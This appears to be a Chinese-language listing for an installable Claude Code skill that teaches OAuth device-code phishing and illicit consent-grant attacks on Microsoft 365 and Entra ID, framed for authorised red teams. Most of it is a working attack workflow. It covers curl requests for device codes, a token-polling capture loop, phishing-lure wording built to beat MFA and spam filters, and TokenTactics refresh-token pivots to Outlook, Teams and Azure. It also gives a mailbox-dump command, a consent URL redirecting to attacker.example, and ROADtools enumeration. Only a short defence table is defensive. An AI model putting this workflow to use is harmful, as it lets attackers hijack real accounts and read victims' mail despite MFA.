关于 attacking-oauth-with-device-code-phishing
面向获授权红队的安全测试技能,用于评估 Microsoft 365 和 Entra ID 中的 OAuth 设备代码钓鱼与非法同意授权。内容涵盖令牌验证、影响评估和整改建议。
主要功能
- 01评估设备代码流程
- 02测试非法同意授权
- 03跨服务刷新令牌
- 04使用 ROADtools 枚举影响
- 05验证 MFA 与访问策略
适用场景
- 01测试设备代码限制
- 02评估 MFA 与 Conditional Access
- 03演示 OAuth 令牌暴露风险
- 04记录发现并提出整改建议
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill attacking-oauth-with-device-code-phishing安装后在 Claude Code 中输入/attacking-oauth-with-device-code-phishing确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
使用设备代码钓鱼攻击 OAuth
法律声明: 本技能仅用于授权安全测试、红队演练和教育目的。设备代码钓鱼和同意授权钓鱼会操纵真实用户,使其授权攻击者控制的企业身份访问权限。仅可针对您拥有或已获得明确书面授权(交战规则)进行测试的租户执行。未经授权的使用违反《计算机欺诈与滥用法》以及全球范围内的同等法律。
概述
OAuth 2.0 设备授权授予(RFC 8628)专为输入受限设备(智能电视、命令行工具)设计,这些设备无法轻松呈现基于浏览器的登录界面。设备请求一个短的 user_code 和一个 device_code,向用户显示 user_code 和验证 URL,并在用户于另一台功能完整的设备上进行身份验证时轮询令牌端点。攻击者将这一流程武器化:这里的“设备”不是智能电视,而是攻击者的机器。攻击者发起设备代码请求,然后诱骗受害者访问合法的 Microsoft 验证页面(https://microsoft.com/devicelogin)并输入攻击者生成的 user_code。由于受害者在真实的 Microsoft 登录页面上完成身份验证——包括完成 MFA——生成的令牌会被铸造到攻击者的轮询会话中。这完全绕过了 MFA:第二因素由受害者满足,但持有者令牌落入攻击者手中(对应 MITRE ATT&CK T1528 – Steal Application Access Token)。
Microsoft Threat Intelligence、Volexity 和 Proofpoint 记录了 2025 年设备代码钓鱼的急剧增长,其中与俄罗斯结盟的行为者(被 Microsoft 追踪为 Storm-2372)是最高产者之一。Mandiant 的 M-Trends 报告同样强调 OAuth 令牌窃取是领先的云初始访问途径。一个密切相关的技术是非法同意授予(“OAuth 钓鱼”):攻击者注册一个多租户应用,诱骗受害者点击 /adminconsent 或用户同意 URL,从而向恶意应用授予委派的 Microsoft Graph 权限(Mail.Read、Files.ReadWrite.All、offline_access),这些权限独立于密码重置而持续存在。本技能涵盖两者,以及使用 TokenTactics 跨 Microsoft 365 服务的令牌重放,和使用 ROADtools 进行验证/访问映射。
红队利用的决定性特性:通过设备代码流程铸造的访问令牌有效期约为 60–90 分钟,但随附的刷新令牌(具有 offline_access 范围)可存活长达 90 天,并可用于针对客户端被允许请求的任何第一方资源——Outlook、SharePoint、Teams、Azure Resource Manager——兑换新令牌,从而实现持久的、能存活的 MFA 访问。
何时使用
- 在针对 Microsoft 365 / Entra ID 的授权红队或假定泄露演练中,且社会工程在范围内时
- 在针对真实钓鱼技术验证条件访问策略、MFA 强制和令牌保护控制时
- 在测试组织是否限制 OAuth 设备代码流程或阻止未验证的多租户应用同意时
- 在展示 MFA 绕过风险以证明抗钓鱼身份验证(FIDO2)和令牌绑定控制的合理性时
- 在构建检测(与蓝队
hunting-saas-sso-token-abuse技能配合)并且您需要真实遥测数据时
先决条件
- 明确允许针对目标租户进行钓鱼和令牌窃取的书面授权 / 交战规则
- 受控的借口投递渠道(经批准的钓鱼基础设施或内部测试邮箱)
- 具有 Python 3.8+ 和 PowerShell 7+ 的 Linux 或 Windows 攻击者主机
- 已安装 TokenTactics(PowerShell)和 ROADtools(Python):
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) ships in roadtools_auth roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - 熟悉 OAuth 2.0 授予类型、JWT 结构和 Microsoft Graph 范围
目标
- 使用第一方客户端 ID 向 Entra ID 发起 OAuth 设备代码请求
- 提供可信的诱饵,诱导受害者访问真正的 Microsoft 设备登录页面
- 轮询令牌终结点并捕获受害者的访问令牌和刷新令牌
- 跨 Microsoft 365 资源(Graph、Outlook、Azure 管理)刷新令牌以扩大访问范围
- 通过注册恶意多租户应用并对其发起同意钓鱼来执行非法同意变体
- 使用 ROADtools 枚举可访问的资源和数据以证明影响
- 记录 MFA 绕过情况并生成修复建议
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1528 | Steal Application Access Token | 对设备代码流 / 同意授权进行钓鱼会获得攻击者控制的 OAuth 访问令牌和刷新令牌,这些令牌会被重复使用以访问云服务而无需重新认证 |
经常串联的相关技术:T1566 Phishing(投递)、T1550.001 Application Access Token(重放窃取的令牌)、T1098.003 Account Manipulation: Additional Cloud Roles(同意授权持久化)。
工作流
阶段 1:发起设备代码请求
攻击者向 Entra ID 请求设备代码,选择受害者默认信任的第一方客户端。Microsoft Office 客户端 ID d3590ed6-52b3-4102-aeff-aad2292ab01c 常被使用,因为它已被预先授权可访问广泛的第一方资源。
-
直接通过令牌终结点请求设备代码:
# client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
JSON 响应包含你可加以利用的字段:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate." } -
注意 15 分钟(
expires_in: 900)的有效期窗口——诱饵必须促使受害者迅速完成认证。使用 TokenTactics 的等效方式(自动处理轮询):
Import-Module ./TokenTactics/TokenTactics.psd1 # Generates a device code and begins polling; prints the user_code to phish Get-AzureToken -Client MSGraph
阶段 2:投递诱饵
钓鱼消息绝不能包含凭据窃取链接——受害者在真正的 Microsoft 页面上进行认证,这正是击破用户怀疑和 MFA 的关键。
- 精心设计一个引用真实
https://microsoft.com/deviceloginURL 和user_code的诱饵(例如,“IT 正在将你的账户注册到新的 Teams Rooms 设备中;请在 15 分钟内打开 microsoft.com/devicelogin 并输入代码 B7HVQXKZ2”)。 - 通过受认可的钓鱼基础设施发送。带超链接的代码 / URL 经常会被归入垃圾邮件,因此请将 URL 和代码以纯文本形式呈现。
- 将投递时间安排在轮询周期开始时,以确保代码是新鲜的。
阶段 3:轮询并捕获令牌
在受害者进行认证并批准的同时,使用 device_code 轮询令牌终结点,直到令牌被签发。
- 按服务器指定的
interval(5 秒)轮询;在受害者完成登录之前,预期会返回authorization_pending:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - 成功时,响应会返回
access_token、refresh_token、id_token、expires_in以及授予的scope。 - 解码访问令牌以确认捕获的身份、受众和范围:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
阶段 4:跨 Microsoft 365 资源刷新
刷新令牌(带有 offline_access)可被兑换为面向其他第一方资源的令牌,从而将访问范围扩展到原始范围之外。
- 使用 TokenTactics 的刷新函数将刷新令牌转向特定服务:
# $response holds the device-code result from Get-AzureToken $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # mailbox access Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - 使用 roadtx 等效地将刷新令牌兑换为新资源:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - 演示邮箱访问以证明影响(只读,范围限于约定规则):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
阶段 5:非法授权同意变体
不使用设备代码,而是注册一个恶意的多租户应用,并钓鱼诱使受害者同意授予委托的 Graph 权限,以获得持久、能在密码重置后存活的访问权限。
- 在攻击者租户中注册一个多租户应用,请求委托作用域,例如
Mail.Read、Files.ReadWrite.All、offline_access。 - 构建用户同意 URL 并对其进行钓鱼:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ATTACKER_APP_ID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - 当受害者同意后,用返回的
code换取令牌:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ATTACKER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - 已同意的 OAuth 授权会作为服务主体授权保留在受害者租户中,直到管理员撤销它(
Remove-MgServicePrincipalOauth2PermissionGrant)。
阶段 6:使用 ROADtools 枚举影响
- 使用捕获的令牌 / 刷新令牌对 roadrecon 进行认证,并导出目录:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # browse users, groups, app registrations, role assignments - 识别高价值访问:角色分配、拥有的应用程序、可访问的 SharePoint 站点以及额外的同意授权。
- 准确记录被窃取的令牌访问了哪些数据和角色,以供项目报告使用。
工具和资源
| 工具 | 用途 | 来源 |
|---|---|---|
| TokenTactics v2 | 跨 M365 服务生成设备代码和刷新令牌 | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | 令牌交换、目录枚举、访问映射 | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID 攻击/侦察 PowerShell 工具包 | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 设备授权授予规范 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 公告 | 设备代码钓鱼活动分析 | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuth 令牌窃取趋势报告 | https://cloud.google.com/security/resources/m-trends |
防御建议
| 控制措施 | 效果 |
|---|---|
对不需要设备代码流的用户,使用条件访问策略阻止设备代码流(authenticationFlows) | 为大多数用户消除攻击面 |
| 抗钓鱼 MFA(FIDO2 / 通行密钥)+ 令牌保护(令牌绑定) | 绑定令牌无法在受害者设备之外被重放 |
| 将用户同意限制为已验证发布者 / 要求管理员同意 | 阻止非法授权同意授予 |
| 在不受信任的网络上设置登录频率 + 缩短会话生命周期 | 限制刷新令牌的有效期 |
监控 AADNonInteractiveUserSignInLogs 中的设备代码授予和异常令牌使用 | 检测(参见 hunting-saas-sso-token-abuse) |
验证标准
- 设备代码请求返回了有效的
user_code和device_code - 投递的诱饵引用了真实的 Microsoft 设备登录页面(无采集链接)
- 轮询了令牌端点并捕获了
access_token+refresh_token - 解码访问令牌以确认捕获的身份、受众和作用域
- 刷新令牌成功换取至少一个额外的 M365 资源
- 演示了 MFA 绕过(受害者完成了 MFA;攻击者持有可用令牌)
- 测试了非法授权同意变体,或将其记录为范围之外
- 使用 ROADtools 枚举了可访问资源并记录
- 交付了修复建议(CA 设备代码阻止、FIDO2、同意限制)